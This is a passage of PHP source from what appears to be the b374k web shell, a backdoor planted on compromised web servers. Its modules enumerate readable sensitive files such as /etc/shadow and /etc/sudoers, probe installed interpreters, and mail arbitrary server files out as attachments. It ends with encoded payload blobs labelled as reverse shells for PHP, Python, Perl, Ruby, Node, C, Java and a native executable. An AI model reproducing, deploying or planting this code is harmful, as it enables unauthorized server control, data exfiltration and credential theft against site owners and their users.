SYS.ALL_TABLES WHERE OWNER='".$db."'"; elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; else $showtbl = ""; $res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='display:none;margin:8px 0;'>"; $query_table = sql_query($type, $showtbl, $con); if($query_table!=false){ while($tables_arr = sql_fetch_data($type, $query_table)){ foreach($tables_arr as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table."</td></tr>"; } } $res .= "</table>"; } } } } } } if(!empty($res)) output($res); output('error'); } ?><?php $GLOBALS['module']['info']['id'] = "info"; $GLOBALS['module']['info']['title'] = "Info"; $GLOBALS['module']['info']['js_ontabselected'] = ""; $GLOBALS['module']['info']['content'] = "<div class='border infoResult'></div>"; if(!function_exists('info_getinfo')){ function info_getinfo(){ $res = ""; $res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>"; $res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>"; if(is_win()){ foreach (range("A", "Z") as $letter){ if(is_readable($letter.":\")){ $drive = $letter.":"; $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>"; } } } else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>"; $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>"; $access = array("python"=>"python -V", "perl"=>"perl -e \"print \$]\"", "python"=>"python -V", "ruby"=>"ruby -v", "node"=>"node -v", "nodejs"=>"nodejs -v", "gcc"=>"gcc -dumpversion", "java"=>"java -version", "javac"=>"javac -version" ); foreach($access as $k=>$v){ $version = execute($v); $version = explode("
", $version); if($version[0]) $version = $version[0]; else $version = "?"; $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>"; } if(!is_win()){ $interesting = array( "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); foreach($interesting as $f){ if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path='".html_safe($f)."' onclick='view_entry(this);'>".$f." is readable</a></td></tr>"; } } $res .= "</table></div>"; if(!is_win()){ if($i_buff=trim(read_file("/proc/cpuinfo"))){ $res .= "<p class='boxtitle' onclick=\"info_toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>"; $res .= "<div class='info' id='info_cpu' style='margin-bottom:8px;display:none;'>"; $i_buffs = explode("
", $i_buff); foreach($i_buffs as $i_buffss){ $i_buffss = trim($i_buffss); if($i_buffss!=""){ $i_buffsss = explode("
", $i_buffss); $res .= "<table class='dataView'>"; foreach($i_buffsss as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } } $res .= "</table>"; } } $res .= "</div>"; } if($i_buff=trim(read_file("/proc/meminfo"))){ $res .= "<p class='boxtitle' onclick=\"info_toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>"; $i_buffs = explode("
", $i_buff); $res .= "<div class='info' id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>"; foreach($i_buffs as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } else $res .= "</table><table class='dataView'>"; } $res .= "</table></div>"; } if($i_buff=trim(read_file("/proc/partitions"))){ $i_buff = preg_replace("/\ +/", " ", $i_buff); $res .= "<p class='boxtitle' onclick=\"info_toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>"; $res .= "<div class='info' id='info_part' style='margin-bottom:8px;display:none;'>"; $i_buffs = explode("
", $i_buff); $res .= "<table class='dataView'><tr>"; $i_head = explode(" ", $i_buffs[0]); foreach($i_head as $h) $res .= "<th>".$h."</th>"; $res .= "</tr>"; $i_buffss = explode("
", $i_buffs[1]); foreach($i_buffss as $i_b){ $i_row = explode(" ", trim($i_b)); $res .= "<tr>"; foreach($i_row as $r) $res .= "<td style='text-align:center;'>".$r."</td>"; $res .= "</tr>"; } $res .= "</table>"; $res .= "</div>"; } } $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); foreach($phpinfo as $p=>$i){ $res .= "<p class='boxtitle' onclick=\"info_toggle('".$i."');\" style='margin-bottom:8px;'>".$p."</p>"; ob_start(); eval("phpinfo(".$i.");"); $b = ob_get_contents(); ob_end_clean(); if(preg_match("/<body>(.*?)<\/body>/is", $b, $r)){ $body = str_replace(array(",", ";", "&"), array(", ", "; ", "&"), $r[1]); $body = str_replace("<table", "<table class='boxtbl' ", $body); $body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $body); $body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?)<\/a>/", "", $body); $body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*?)<\/a>/", "", $body); $res .= "<div class='info' id='".$i."' style='margin-bottom:8px;display:none;'>".$body."</div>"; } } $res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='margin-bottom:8px;'>refresh</span><div style='clear:both;'></div>"; return $res; } } if(isset($p['infoRefresh'])){ output(info_getinfo()); } ?><?php $GLOBALS['module']['mail']['id'] = "mail"; $GLOBALS['module']['mail']['title'] = "Mail"; $GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();"; $GLOBALS['module']['mail']['content'] = " <table class='boxtbl'> <thead> <tr><th colspan='2'><p class='boxtitle'>Mail</p></th></tr> </thead> <tbody id='mailTBody'> <tr><td style='width:120px'>From</td><td colspan='2'><input type='text' id='mailFrom' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr> <tr><td>To</td><td><input type='text' id='mailTo' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr> <tr><td>Subject</td><td><input type='text' id='mailSubject' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr> </tbody> <tfoot> <tr><td colspan='2'><textarea id='mailContent' style='height:140px;min-height:140px;'></textarea></td></tr> <tr> <td colspan='2'><span style='width:120px;' class='button' onclick=\"mail_send();\">send</span> <span style='width:120px;' class='button' onclick=\"mail_attach();\">attachment</span> </td> </tr> <tr><td colspan='2'><span id='mailResult'></span></td></tr> </tfoot> </table> "; if(!function_exists('send_email')){ function send_email($from, $to, $subject, $msg, $attachment){ $headers = "MIME-Version: 1.0
".$from; $rand = md5(time()); $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"
"; $headers .= "--".$rand."
"; $headers .= "Content-Type: text/html; charset=\"UTF-8\"
Content-Transfer-Encoding: 8bit
"; $headers .= $msg."
"; if(count($attachment)>0){ foreach($attachment as $file){ if(is_file($file)){ $content = chunk_split(base64_encode(read_file($file))); $headers .= "--".$rand."
"; $headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"
"; $headers .= "Content-Transfer-Encoding: base64
"; $headers .= "Content-Disposition: attachment
"; $headers .= $content."
"; } } } $headers .= "--".$rand."--
"; if(@mail($to, $subject, "", $headers)) return true; return false; } } if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){ $mailFrom = trim($p['mailFrom']); $mailTo = trim($p['mailTo']); $mailSubject = trim($p['mailSubject']); $mailContent = trim($p['mailContent']); $mailAttachment = trim($p['mailAttachment']); $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array(); if(empty($mailTo)) output("Please specify at least one recipient"); if(!empty($mailFrom)){ $mailFrom = "From: ".$mailFrom."
Reply-To: ".$mailFrom."
"; } foreach($mailAttachment as $file){ $file = trim($file); if(empty($file)) continue; if(!is_file($file)) output("No such file : ".$file); } if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo)); output("Failed to send mail"); } ?><?php $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:""; $remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:""; $default_port = 13123; $winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":""; $GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G"; $GLOBALS['resources']['rs_python'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc="; $GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ=="; $GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs="; $GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ="; $GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA=="; $GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8="; $GLOBALS['resources']['rs_executable'] = "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